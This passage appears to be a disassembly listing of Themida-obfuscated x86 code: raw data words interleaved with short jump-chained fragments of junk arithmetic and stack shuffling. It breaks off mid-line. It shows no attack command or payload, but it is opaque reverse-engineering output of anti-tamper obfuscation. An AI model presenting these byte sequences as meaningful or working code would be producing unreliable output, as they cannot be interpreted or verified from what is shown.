0FFBE15E9h dd 0B4F281FFh, 8B15F925h, 0C481240Ch, 4, 0EDE9D729h, 5AFFFFCDh dd 83240C8Bh, 0BD5504C4h, 79CC7E6Ch, 8106EDC1h, 9D59AAE5h dd 53ED812Eh, 81312176h, 639B51F5h, 791E9CFh, 0F1E90000h dd 66FFFFBAh, 5724048Bh, 388E68h, 0E153E900h, 4048FFFFh dd 0B86E670Dh, 45512D38h, 0C7296365h, 242C8B58h, 8704C483h dd 248B243Ch, 2404FE24h, 0BABEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7436: ; CODE XREF: Themida_:004FC033j add dl, 76h jmp loc_4F3D03 ; --------------------------------------------------------------------------- dw 0ACBDh dd 50071D0Dh, 0FFDC4FE9h, 241433FFh, 1489665Ch, 4B3B624h dd 0DB53E9D1h, 0C481FFFFh, 4, 3F3768h, 242C8900h, 35C768h dd 24248900h, 0FFF580E9h, 148759FFh, 0C895C24h, 99E95424h dd 1000015h, 0FF565BDEh, 8B042474h, 0C4832434h, 24048F04h dd 0E924248Bh, 1F1Fh, 89431E05h, 4AADE960h, 4B80000h, 29000000h dd 348758C6h, 5287E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F74B6: ; CODE XREF: Themida_:004F5C25j sub ebp, 10152723h add ebp, edx add ebp, 10152723h sub ebp, 380A164Eh pop edx jmp loc_4FDD66 ; --------------------------------------------------------------------------- dd 207F83ADh, 84840F00h, 81000011h, 713177EEh, 0D2EE8168h dd 8161E85Dh, 89590DEEh, 68C60100h, 770Ch, 0BF243C89h dd 89590Dh, 525FFE01h, 0FA2FA9BAh, 0F36BE938h, 0C483FFFFh dd 57565F04h, 800BE56h, 0F7890000h, 5FFE895Eh, 34FFF021h dd 89535E24h, 4C381E3h, 51000000h, 4859BD55h, 0E9894DB1h dd 83C1815Dh, 0E91FCE0Ch, 5ECFh, 0E904EC83h, 0FFFFCC08h ; --------------------------------------------------------------------------- loc_4F7548: ; CODE XREF: Themida_:004FD1D2j mov eax, [esp] add esp, 4 jmp loc_4F8C88 ; --------------------------------------------------------------------------- db 31h dd 0C6815FFEh, 4F9C6B61h, 0F681DEF7h, 9739324Eh, 0E95EF101h dd 3866h, 815FFE29h, 88DAF0C6h, 8BF5019Eh, 0C4832434h dd 0F8B7E904h, 5401FFFFh, 4CE90424h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F758B: ; CODE XREF: Themida_:004F58EDj not dl not dl push eax jmp loc_4FC02E ; --------------------------------------------------------------------------- db 81h, 0EAh, 37h dd 0C17AE648h, 0F4E908EAh, 81000007h, 4C4h, 4C28300h, 2C3CE9h dd 58C53100h, 5127EA81h, 65E93428h, 5C000076h, 0FFCC96E9h dd 24248BFFh, 0E9240C89h, 0FFFFB924h, 83242C8Bh, 0C68104C4h dd 0AF66FD99h, 0FF207709h, 535E2434h, 0C381E389h, 4, 3304C383h dd 1C31241Ch, 241C3324h, 0B9BD555Ch, 8137177Eh, 0AD3AC0C5h dd 2BB85065h, 291B74A9h, 6F0158C5h, 53525D20h, 432A39BBh dd 0D0F79316h, 65C38193h, 815DD02Bh, 4ECh, 24148900h, 310DE9h dd 24143200h, 86241430h, 885366E2h, 52D3F6E3h, 0D8885051h dd 8858C188h, 885359CEh, 5BDC88F3h, 865B665Ah, 505366E2h dd 0E9D18851h, 0D53h, 592434FFh, 0E904EC83h, 3966h, 5C240C87h dd 4EDEE9h db 0 ; --------------------------------------------------------------------------- loc_4F7675: ; CODE XREF: Themida_:004F8EC6j mov ecx, esi pop esi jmp loc_4FD017 ; --------------------------------------------------------------------------- loc_4F767D: ; CODE XREF: Themida_:004F7AF7j add edi, 49233B50h pop ebp jmp loc_4F631A ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 89240489h, 405E0h, 0E8830000h, 24048704h dd 243C895Ch, 600E9h, 0FFE95300h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F76AF: ; CODE XREF: Themida_:004F833Dj push dword ptr [esp] jmp loc_4F79D6 ; --------------------------------------------------------------------------- aNhqc db 'hC',0 dd 24148900h, 9170C0BAh, 0D357E93Eh, 0CE01FFFFh, 5E5C681h dd 33592E1Dh, 34312434h, 24343324h, 6275E9h db 0 ; --------------------------------------------------------------------------- loc_4F76E1: ; CODE XREF: Themida_:004FE3E9j mov edi, 4 sub eax, 0BC95DB2h sub eax, 675C6D4Bh jmp loc_4FC4A5 ; --------------------------------------------------------------------------- loc_4F76F5: ; CODE XREF: Themida_:004FCA37j push eax mov al, 81h push ecx jmp loc_4FD97D ; --------------------------------------------------------------------------- loc_4F76FE: ; CODE XREF: Themida_:004FDE26j pop eax push esi push esp mov esi, [esp] add esp, 4 add esi, 4 push edi jmp loc_4FCA8D ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 4BBh, 378D2D00h, 0D8015603h, 3378D05h, 4875B56h dd 0C8855C24h, 0B7BAE99Ch, 0F35EFFFFh, 386203A5h, 654CE9h db 0 ; --------------------------------------------------------------------------- loc_4F7745: ; CODE XREF: Themida_:004FCD68j xchg ebp, [esp] jmp loc_4FD0DF ; --------------------------------------------------------------------------- db 89h, 0C8h, 0E9h dd 69Fh, 815FFE89h, 4ECh, 242C8900h, 0E20011BDh, 0D1ED811Ch dd 571F195Fh, 0FFFA41E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F7771: ; CODE XREF: Themida_:004F9B98j add edi, 0FFFFFFFFh push esi jmp loc_4F51AC ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0BF570000h, 4, 0E95FF801h, 6D2Ah, 4C281h, 0EA830000h dd 24143304h, 33241431h, 895C2414h, 74B9240Ch, 81473258h dd 727407C1h, 2F17E972h, 665C0000h, 6600B60Fh, 66342A68h dd 0E9240489h, 0FFFFB72Ch, 0BD685150h, 594AC361h, 4C98E9h dd 8E722D00h, 0C7315BBAh, 56DFF758h, 7FC8C1BEh, 5EF731D6h dd 45E9E9h, 68515200h, 7D0B0600h, 8B2434FFh, 9DE9240Ch dd 8300002Ch, 0B75304C4h, 5E7C0A6h, 0C780C7FEh, 5BF8000Ah dd 53241C8Bh, 0C381E389h, 4, 7350E9h, 0B6CEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7826: ; CODE XREF: Themida_:004F702Fj sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 jmp loc_4FA651 ; --------------------------------------------------------------------------- loc_4F783F: ; CODE XREF: Themida_:004FCCB0j not dword ptr [esp] inc dword ptr [esp] mov ecx, [esp] add esp, 4 push edi push ebx mov ebx, 4987482h mov edi, ebx pop ebx jmp loc_4F600E ; --------------------------------------------------------------------------- db 0B2h, 0Bh, 0C0h dd 0E28005E2h, 80E2D0A4h, 0D30077C2h, 0DD28585Ah, 706AE9h dd 0C8B6600h, 0E7895724h, 0FFC89FE9h, 8BC329FFh, 0C4812404h dd 4, 3C8BFB31h, 0BD0CE924h, 6852FFFFh, 3F477D4Ah, 2454015Ah dd 835E5A04h, 0AEE904ECh, 53FFFFF1h, 885CB450h, 24048BE7h dd 4C481h, 0CFFE0000h, 3006C780h, 4960E9FAh, 59660000h dd 0EB803004h, 7BB551C9h, 648AE9h, 5AF0B800h, 2DE97537h dd 100000Eh, 22D5BD8h, 5502C721h, 8904EC83h, 0E589242Ch dd 4C581h, 0ED810000h, 4, 3CB8E9h, 48B6600h, 4EC8124h dd 89000000h, 0FF54241Ch, 0DDE92434h, 88FFFFF6h, 1D98E9F9h dd 1C8B0000h, 0FA54E924h, 6B68FFFFh, 89000042h, 0ADE92404h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7933: ; CODE XREF: Themida_:004FDABCj neg edi jmp loc_4F5D8E ; --------------------------------------------------------------------------- dw 85Ah dd 0B7535BFEh, 5BFE08D0h, 303FF680h, 4C31E9F5h, 0E9810000h dd 2132063Eh, 0CE9D929h, 5C00000Eh, 240C8966h, 0C8B60F66h dd 0E99C5166h, 7707h, 4C181h, 0C870000h, 88E95C24h, 8100004Eh dd 4C7h, 4EF8100h, 87000000h, 46E9243Ch, 5C00002Eh, 5A245701h dd 0E1895157h, 4C181h, 0E9830000h, 0F36E904h, 815B0000h dd 2C6h, 74FF5600h, 0E95E0424h, 0FFFFC705h, 0C5815D54h dd 4, 4C581h, 2C330000h, 5C65E924h, 24890000h, 6EB2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F79D6: ; CODE XREF: Themida_:004F76B2j pop ebx add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_4F4FBE ; --------------------------------------------------------------------------- dw 5351h dd 0FFD17AE9h, 74FF57FFh, 3C8B0424h, 4C48324h, 0E924048Fh dd 464Eh ; --------------------------------------------------------------------------- loc_4F7A08: ; CODE XREF: Themida_:004F9B18j xor ebp, 6CF48DBEh mov eax, 82ED60h jmp loc_4F4959 ; --------------------------------------------------------------------------- dd 0E9241431h, 5C50h, 6D1B68h, 24048900h, 0FFB4C7E9h, 242C8BFFh dd 6649E9h, 2434FF00h, 1E58E9h, 4C48100h, 51000000h, 0DF24E953h dd 0C281FFFFh, 4, 4C281h, 14870000h, 48F5C24h, 83AE924h dd 0F8280000h, 82E95B66h, 66000007h, 2404AB0Fh, 0B47EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7A76: ; CODE XREF: Themida_:004FE81Dj add ecx, 4 push esi jmp loc_4F5734 ; --------------------------------------------------------------------------- dw 0BE56h align 8 dd 0EF68EE29h, 89000002h, 65E9242Ch, 5AFFFFB6h, 0FFC8C1E9h dd 9BCB80FFh, 8003EBC0h, 0D8286FEBh, 45A2685Bh, 0D1E90000h dd 100003Ah, 54ED81FDh, 8B14C603h, 0C481243Ch, 4, 20C2E951h dd 89500000h, 386568E0h, 2C890000h, 5046824h, 4890000h dd 2ED7B824h, 0A5E96EE3h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7AE7: ; CODE XREF: Themida_:004FB675j mov esi, 6FE2BAA5h mov edi, esi pop esi sub edi, 49233B50h sub edi, ebp jmp loc_4F767D ; --------------------------------------------------------------------------- dd 16491BBDh, 6825h, 2C290000h, 77E95D24h, 66FFFFC9h, 0E9CCB60Fh dd 712Ch ; --------------------------------------------------------------------------- loc_4F7B18: ; CODE XREF: Themida_:004FEEC8j sub esp, 4 mov [esp], esi push 0BEDh mov [esp], edx mov edx, 457F2BA3h push edx xor dword ptr [esp], 25657986h jmp loc_4F61C9 ; --------------------------------------------------------------------------- dd 0E3F2814Ah, 0E91C571Ch, 452Ah, 0F1B65259h, 39E9F100h dd 87000019h, 895C2434h, 0E789243Ch, 4EC81h, 0C890000h dd 0DAFFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7B66: ; CODE XREF: Themida_:004F9A6Cj sub ecx, 7BEA164Ch pop edx add ebx, 0E216D2Fh sub ebx, ecx sub ebx, 0E216D2Fh push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_4FC5E1 ; --------------------------------------------------------------------------- db 81h dd 9D5165C1h, 81E90152h, 9D5165E9h, 0BE565D52h, 414960B6h dd 4014F681h, 51E90AF5h, 33000039h, 248B243Ch, 2A19E924h dd 4680000h, 8900006Dh, 9C502414h, 0FFB32BE9h, 3C8B59FFh dd 4C48324h, 0C15AD121h, 0FE6806E9h, 89000046h, 0EC812414h dd 4, 81241C89h, 7A502434h, 815A1D0Ah, 0A7A50F2h, 29FD681Dh dd 2C890000h, 57D58924h, 4EC81h, 0E6E90000h, 51FFFFD8h dd 2B9h, 53880500h, 0AA2D4A5Bh, 0E921010Ah, 0FFFFD888h dd 2434875Dh, 2424D35Ch, 0FFB2C7E9h, 0E7E94FFFh db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7C33: ; CODE XREF: Themida_:004F4EACj push edx mov edx, 0CEB0CA2h jmp loc_4FF432 ; --------------------------------------------------------------------------- dw 48Bh dd 0F7E95124h, 5C00003Dh, 0E9240C89h, 3B71h, 0B652D800h dd 69F1E9F1h, 815B0000h, 0D4E79AF6h, 8BF501A7h, 0C4832434h dd 246F2904h, 8153575Dh, 0ECA242Ch, 685F0228h, 6ABDh, 0FFCB1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F7C81: ; CODE XREF: Themida_:004FB57Fj add ebx, 4 jmp loc_4F65AB ; --------------------------------------------------------------------------- loc_4F7C89: ; CODE XREF: Themida_:004FAA91j push esp pop ebx add ebx, 4 sub esp, 4 mov [esp], esi jmp loc_4F3276 ; --------------------------------------------------------------------------- dd 380F68h, 24348900h, 51EEE9h, 6B896800h, 24890000h, 24048124h dd 4, 5FFDE9h, 4C28100h, 81000000h, 4C2h, 24148700h, 0E924248Bh dd 460Dh, 89241C89h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 0AE8C15Ch, 5797C831h, 8B2414F7h, 0C483243Ch, 3C25E904h dd 0C4810000h, 4, 765AE9h, 0E91E0400h, 1B2Ah, 9C240CD2h dd 0FFB1DBE9h, 9F6850FFh, 89000027h, 4832424h, 48B0424h dd 4C48124h, 5000000h, 4, 2F9CBA52h, 0E281462Ah, 0A697301h dd 0FFEA8EE9h, 0E9028FFFh, 0FFFFB1A8h, 81242489h, 42404h dd 48B0000h, 4C48124h, 0E9000000h, 4599h, 0E93877FFh, 4D79h ; --------------------------------------------------------------------------- loc_4F7D6C: ; CODE XREF: Themida_:004FB526j mov esi, 0A565F009h add esi, ebx pop ebx add edi, esi push dword ptr [esp] jmp loc_4FD7EF ; --------------------------------------------------------------------------- dw 815Ch dd 13582404h, 4017878h, 0E9545624h, 0FFFFB7D0h, 44E95553h dd 8100002Ch, 12FB80F2h, 5AD70100h, 5C243C87h, 683FE952h dd 51660000h, 5BE979B5h, 6600000Bh, 6B04E950h, 68550000h dd 1, 2B5BE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7DC6: ; CODE XREF: Themida_:004F374Aj dec edx push 79B4h mov [esp], esi mov esi, 31834266h and esi, 7E90281Ah xor esi, 69B27A58h jmp loc_4FB044 ; --------------------------------------------------------------------------- db 31h, 0F1h, 5Eh dd 70F2C981h, 0A9E95283h, 8B00003Bh, 0C483240Ch, 2434FF04h dd 48E9565Ah, 68000043h, 4, 8BDD015Bh, 0C483241Ch, 242C8704h dd 124248Bh, 0ED6859CEh, 0E900005Eh, 1711h, 515FFB89h dd 2A4C72B9h, 338AE90Ch, 0C4810000h, 4, 8B24048Fh, 13E92424h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7E43: ; CODE XREF: Themida_:004F8742j inc dl push cx jmp loc_4FCFEC ; --------------------------------------------------------------------------- dd 86BAE180h, 86D6F6F1h, 0DC66E9F1h, 0C829FFFFh, 0D376E959h dd 8966FFFFh, 44E92404h, 52FFFFD8h, 4EC81h, 24890000h dd 68525024h, 63E42575h, 8FC2815Ah, 899C1BDAh, 189E9D0h dd 0FA680000h, 8900006Eh, 2B82404h, 81000000h, 302F4BC7h dd 81C7016Ch, 302F4BEFh, 38B1E96Ch, 0EA830000h, 24148704h dd 4FD1E9h, 5FAB0D00h, 12D4410h, 2D000000h, 5DC22BA9h dd 48BC701h, 2D64E924h, 34FF0000h, 29B1E924h, 2C810000h dd 8B4B3924h, 24142932h, 39240481h, 81328B4Bh, 28DE2404h dd 0E95A48ACh, 0FFFFD763h, 240C8B66h, 0C8B5451h, 4C48324h dd 4B40E9h, 34C68100h, 29B52B98h, 0F8015EF0h, 0F2155C05h dd 1B2BE932h, 7FB10000h, 6658E128h, 28000068h, 0C8A240Ch dd 2C48324h, 4300E9h db 0 ; --------------------------------------------------------------------------- loc_4F7F31: ; CODE XREF: Themida_:004FF438j not ebx sub ebx, 68C02475h sub ebp, ebx mov ebx, [esp] jmp loc_4F422F ; --------------------------------------------------------------------------- loc_4F7F43: ; CODE XREF: Themida_:004F43FBj pop ebx pop edi and eax, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or edx, eax shl edx, 1 push eax mov eax, esp add eax, 4 push ebx jmp loc_4F6D0F ; --------------------------------------------------------------------------- dd 4777EB2Dh, 56C82958h, 0B13EADBEh, 81D6F720h, 834BB0F6h dd 9F68167h, 1E08AFDh, 4D79E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7F8E: ; CODE XREF: Themida_:004FD5E7j mov ecx, 43D6673Bh sub edx, ecx jmp loc_4F98AB ; --------------------------------------------------------------------------- dw 405h dd 33000000h, 4312404h, 24043324h, 6666685Ch, 34890000h dd 2066BE24h, 0F6E975C4h, 1FFFFB3h, 1C8759CBh, 0D198E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7FC6: ; CODE XREF: Themida_:004F375Dj add esp, 4 push ebp push esp pop ebp push 7310h mov [esp], ebx mov ebx, 5B6E5BBAh shr ebx, 4 jmp loc_4FB26E ; --------------------------------------------------------------------------- loc_4F7FE4: ; CODE XREF: Themida_:004FB045j mov edi, 47AD3350h xor edi, 112B0CFFh add edi, 482D6ECDh push esi mov esi, 8B2170A1h sub edi, esi pop esi and esi, edi pop edi shl esi, 4 jmp loc_4F5FDA ; --------------------------------------------------------------------------- db 80h, 0C3h, 37h dd 0FFE9C300h, 5AFFFFDBh, 2D15E9h, 0CD35C00h, 0D1E99C24h dd 81FFFFAEh, 2244CCEFh, 60C78112h, 590AA049h, 8702C783h dd 248B243Ch, 0AB0F6624h, 0E99C2404h, 0FFFFAEB0h, 4C481h dd 348B0000h, 4C48124h, 87000000h, 0E95C2404h, 1A39h, 89243C89h dd 4BB53E7h, 50000000h, 0D90BC0B8h, 0DBB8E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8072: ; CODE XREF: Themida_:004F6253j push ecx mov ecx, esp add ecx, 4 jmp loc_4F6B68 ; --------------------------------------------------------------------------- aUISSH db '',7,'I',9,'] h',0 db 0 ; --------------------------------------------------------------------------- loc_4F808D: ; CODE XREF: Themida_:004F9F00j push edx jmp loc_4FA4FE ; --------------------------------------------------------------------------- loc_4F8093: ; CODE XREF: Themida_:004FE47Aj jnz loc_4F4179 push 6B1h mov [esp], edx sub esp, 4 jmp loc_4F9400 ; --------------------------------------------------------------------------- db 81h, 0F6h, 8 dd 89781ED9h, 0D5E4E9F1h, 63B2FFFFh, 805AD530h, 0E828EEC5h dd 13D3E9h db 0 ; --------------------------------------------------------------------------- loc_4F80C5: ; CODE XREF: Themida_:004FA2BCj pop edx sub edx, 3F50435Eh push dword ptr [esp] pop edi add esp, 4 and ecx, edx jmp loc_4FC86C ; --------------------------------------------------------------------------- db 81h, 0F2h, 5 dd 2132DE56h, 15E95AD1h, 5900001Ah, 575EF101h, 4BFh, 5FF90100h dd 16D2E9h, 86EE8100h, 12B325Fh, 0FF505EF0h, 58042474h dd 8B24048Fh, 4812424h, 3C0EA324h, 46C6682Ch, 91E90000h dd 1000028h, 4684E9F7h, 0CE810000h, 6625342Fh, 0ACB7BA52h dd 0D631E381h, 0FFE569E9h, 0FBE950FFh, 83FFFFEBh, 148904ECh dd 5D9CBA24h, 0CA816234h, 63896FA2h, 0FFFF84E9h, 4C483FFh dd 6EE9DF01h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8163: ; CODE XREF: Themida_:004F2F22j sub dh, al pop ax add bl, dh pop edx add bl, 0A6h add bl, al jmp loc_4FBCE9 ; --------------------------------------------------------------------------- dd 813C77FFh, 615C2434h, 51587D69h, 0C181E189h, 4, 4E981h dd 0C870000h, 0D27BE924h, 0E7C0FFFFh, 7BC78007h, 1C8BF930h dd 4C48324h, 2860E980h, 0F60459C8h, 0F62CD828h, 722CEA04h dd 0EC81642Ch, 4, 0B7241C89h, 94B151F5h, 8359C800h, 0C8904ECh dd 80E8B524h, 0CDFEC7EDh, 0FEDCE952h, 0C201FFFFh, 8124048Bh dd 4C4h, 4EA8300h, 5248E9h, 28340400h, 4BE951F8h, 0B8FFFFB7h dd 4, 56C2C581h, 0C5292511h, 56C2ED81h, 87582511h, 895C242Ch dd 0B0BE2434h, 0E9691123h, 5EA9h, 0D861C581h, 0EE2961B8h dd 0FFF3A7E9h, 0D4F281FFh, 1251DC9h, 24148BD0h, 81E68956h dd 4C6h, 4C68100h, 0E9000000h, 6F77h, 1D4DE959h, 0E3C00000h dd 6E3C005h, 88EDF380h, 241C8BD9h, 0C004C483h, 0B05004E1h dd 0F6C0FE27h, 0AD78E9D8h, 0E689FFFFh, 4C681h, 0EDE90000h dd 51000065h, 0C182BD55h, 0E989738Ah, 0E9CF015Dh, 1A13h dd 2B60F66h, 49196853h, 0E9540000h, 4E57h, 0AF0F665Ch dd 9C5166C8h, 0FFAC4BE9h, 5E5C1FFh, 0C106EDC1h, 4EE907E5h dd 5B000066h, 5E78E9h db 0 ; --------------------------------------------------------------------------- loc_4F82BD: ; CODE XREF: Themida_:004F4064j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_4F31F9 ; --------------------------------------------------------------------------- db 81h dd 4F91C6F7h, 5BB5E94Bh, 0EF010000h, 5FFD015Dh, 5504C583h dd 42474FFh, 24048F5Dh, 924248Bh, 0E99C2404h, 0FFFFF521h dd 8B5B0B8Bh, 4FE92414h, 5DFFFFF1h, 2E8FE9h, 1C77FF00h dd 1858669Dh, 0E99C2404h, 0FFFFABD4h ; --------------------------------------------------------------------------- loc_4F8320: ; CODE XREF: Themida_:004F93A7j pop esi neg ebx and ebx, 50D809BFh add ebx, 0EF67F6EEh add edx, 1B936C60h add edx, ebx sub edx, 1B936C60h jmp loc_4F76AF ; --------------------------------------------------------------------------- loc_4F8342: ; CODE XREF: Themida_:004F4EF8j push ebx mov bh, 0A0h shr bh, 8 inc bh sub bh, 0D9h add al, bh pop ebx push ebx mov bl, 6 shl bl, 5 push cx push edx mov dl, bl mov cl, dl pop edx not cl mov bl, cl jmp loc_4F95B3 ; --------------------------------------------------------------------------- db 1 dd 5AEA81C2h, 0E94CE841h, 0FFFFAB80h, 8124048Bh, 4C4h dd 28790400h, 0FA24E9E8h, 248BFFFFh, 545CE924h, 0EE890000h dd 1C77215Dh, 24EE9h, 2E2C100h, 8107EAC1h, 29227FF2h, 0AC48E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F83AA: ; CODE XREF: Themida_:004F66D0j xchg edx, [esp] pop esp jmp loc_4F8ADE ; --------------------------------------------------------------------------- db 88h dd 0E38859CCh, 24548A58h, 245C8802h, 1C8B6602h, 2C48124h dd 0E9000000h, 1302h ; --------------------------------------------------------------------------- loc_4F83D0: ; CODE XREF: Themida_:004FBEA3j add ebp, 202F2F8Dh add ebp, 7F682DB3h jmp loc_4FA032 ; --------------------------------------------------------------------------- db 89h, 0F0h, 5Eh dd 461AEB81h, 0C3016726h, 461AC381h, 48B6726h, 0C9DDE924h dd 0C483FFFFh, 40504h, 0E8830000h, 24043302h, 33240431h dd 48E92404h, 89FFFFF5h, 1CBB241Ch, 0E9000000h, 4344h dd 815FF989h, 0E062D6C1h, 87D9F726h, 31D7F7F9h, 31CF31F9h dd 0ECBB53F9h, 0E9221E68h, 0FFFFD995h, 0E924048Bh, 0FFFFE071h dd 9D1C77FFh, 24041958h, 0AA9EE99Ch, 0BA52FFFFh, 5CBA128Ah dd 26CDC281h, 0F281576Ch, 38B1778Ah, 235F68h, 240C8900h dd 974ED9B9h, 59CA318Ch, 7D3E9h, 4C48300h, 0E904C083h dd 0FFFFCD5Bh ; --------------------------------------------------------------------------- loc_4F8488: ; CODE XREF: Themida_:004F7199j mov [esp], edx push 58DAh mov [esp], ebx push 4ED34701h pop ebx push 7AB9h mov [esp], edx mov edx, 73C145DBh push ebx mov ebx, 4B63D9D7h sub edx, 34F9355Dh sub edx, ebx jmp loc_4FB00C ; --------------------------------------------------------------------------- db 52h, 0E9h, 3Bh dd 83FFFFCCh, 0C8904ECh, 0E0E95324h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F84CB: ; CODE XREF: Themida_:004F961Bj xchg ebp, [esp] pop esp mov bl, ah mov eax, [esp] add esp, 4 xor al, bl pop bx push small 60CDh mov [esp], dx mov dh, 35h xor dh, 0FBh xor dh, 25h xor al, dh mov dx, [esp] push 5B3h mov [esp], ebp sub esp, 4 mov [esp], esp push esi jmp loc_4FB0ED ; --------------------------------------------------------------------------- db 59h dd 4C481h, 48F0000h, 24048324h, 6BBBE904h, 0C2880000h dd 0B4E9D388h, 81000033h, 11017BC1h, 7DE98137h, 31CBC45Fh dd 1DE959C8h, 0FFFFFFD2h, 0E9592434h, 19C7h, 8BFB015Fh dd 0C481243Ch, 4, 2474FF53h, 0C0B0E904h, 1489FFFFh, 0AB73E924h dd 0C389FFFFh, 0FFAD4CE9h, 4C781FFh, 81000000h, 4C7h, 243C8700h dd 0E089505Ch, 32DBB53h, 0EB812145h, 0D7E54CBh, 0AE5EEB81h dd 0D80113C6h, 33BF575Bh, 0F709CD64h, 94E94FD7h, 8F000030h dd 0D35C2404h, 0E99C2424h, 0FFFFA948h, 0E95BDF89h, 0FFFFE16Bh dd 0E95D5455h, 5F3Ch, 0FFF0315Fh, 348B2434h, 4C48324h dd 1053E9h, 0F7C78100h, 15ED42Eh, 0F7EF81EFh, 815ED42Eh dd 26038FEFh, 58E95D04h, 0FFFFFFE0h, 348B2434h, 4C48324h dd 0E904C483h, 0F7h, 4E1C159h, 4579E181h, 0E981221Bh, 783F8426h dd 39E9CE01h, 68FFFFFCh, 635Dh, 0BA241489h, 9430BA85h dd 148BD601h, 4C48324h, 3538C781h, 0F701006Fh, 3538EF81h dd 348B006Fh, 4C48124h, 83000000h, 0FF5702C7h, 5F042474h dd 2869E9h, 54575F00h, 4C7815Fh, 81000000h, 4C7h, 243C8700h dd 6824248Bh, 48E7h, 0FFC213E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F8669: ; CODE XREF: Themida_:004F975Dj pop ebp or eax, eax jz loc_4FECBD push ebx mov ebx, 1Ch push 43D4h mov [esp], ecx jmp loc_4F5101 ; --------------------------------------------------------------------------- loc_4F8685: ; CODE XREF: Themida_:004FE4EAj push eax mov eax, 7A4D4368h sub eax, 78220CD1h or eax, 45450ADCh jmp loc_4F4A43 ; --------------------------------------------------------------------------- dw 0EDC1h dd 9DC58102h, 297A6AFBh, 0D7E95DE9h, 50000009h, 0E788D488h dd 8B2434FFh, 44E92404h, 0BEFFFFB8h, 61772516h, 0B2E9574Eh dd 2800004Bh, 77B151D8h, 94E9E1D0h, 8BFFFFACh, 8956243Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 24048F5Ch, 5324248Bh dd 8B2434FFh, 34E9241Ch, 0B3000010h, 1A18E9A7h, 0D6BF0000h dd 0E9197E3Fh, 1D78h, 15282105h, 0A153518h, 0E8D15528h dd 2DD8F748h, 93CDBB7Bh, 0E9C689h, 0B0FFFFBBh, 0CC8FEF9h dd 0B51E9BAh, 0DDF70000h, 6239E9h db 0 ; --------------------------------------------------------------------------- loc_4F8739: ; CODE XREF: Themida_:004F95BAj pop ebx pop ecx sub al, bl push edx mov dl, 75h inc dl jmp loc_4F7E43 ; --------------------------------------------------------------------------- db 55h dd 42474FFh, 83242C8Bh, 48F04C4h, 0A6E95C24h, 5E000008h dd 83243C8Bh, 64E904C4h, 81000007h, 32063EC1h, 4F095B21h dd 7DE9591Ch, 0B5FFFFA7h, 3E5C07Dh, 28FBF580h, 0D80059E8h dd 20D168h, 671DE900h, 8B660000h, 8950240Ch, 5ABD55E0h dd 81596439h, 725872C5h, 0C1D5F73Fh, 0F58705E5h, 0F587D6F7h dd 1E44E9h, 4EC8300h, 89242C89h, 4C581E5h, 81000000h, 4C5h dd 74FF5500h, 8F5D0424h, 0A0E92404h, 5B000001h, 0FFC8F7E9h dd 5DE801FFh, 41AAE9h, 47820D00h, 0C40543C2h, 2D7B6714h dd 0CCFB1059h, 833E9h, 0C2BB5300h, 0E934DA64h, 0FFFFD3FDh dd 0E9243489h, 4519h, 0F6B7EE81h, 0C2818B16h, 621F7F16h dd 51E9F201h, 41FFFFE7h, 8B2BF57h, 0F9291D60h, 7BE9505Fh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F882B: ; CODE XREF: Themida_:004FE966j pop esp push esi mov esi, 4BB252A2h jmp loc_4FA9A6 ; --------------------------------------------------------------------------- db 5Ah dd 0B951F029h, 0EC6C4Bh, 18DDE9h, 241C3100h, 8B241C33h dd 4892424h, 48B5424h, 4C48324h, 405h, 4C08300h, 31240433h dd 4332404h, 24248B24h, 8124148Bh, 4ECh, 241C8900h, 0EC83E389h dd 24048904h, 4B8h, 58C30100h, 371AE9h, 90B95100h, 8113D614h dd 6D364EC2h, 81CA010Ah, 6D364EEAh, 0D689590Ah, 0E9EE295Ah dd 3CDAh, 4D5FFD89h, 3B48E9h, 0E99C5100h, 0FFFFA638h, 0E9241487h dd 4F5Ch, 286404ACh, 4EC81D8h, 89000000h, 9FB22414h, 0E93BC280h dd 0FFFFE6E7h, 8B240C87h, 1C892424h, 243C8B24h, 0A60DE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F88EE: ; CODE XREF: Themida_:004FD5EFj sub ebp, 2B6D187Fh jmp loc_4F69D0 ; --------------------------------------------------------------------------- db 56h, 0BEh, 77h dd 0E97CC914h, 0FFFFAB03h, 5EF2015Ah, 0D556E955h, 5B04FFFFh dd 5B2CE828h, 0F2E95966h, 55FFFFB5h, 624D31BDh, 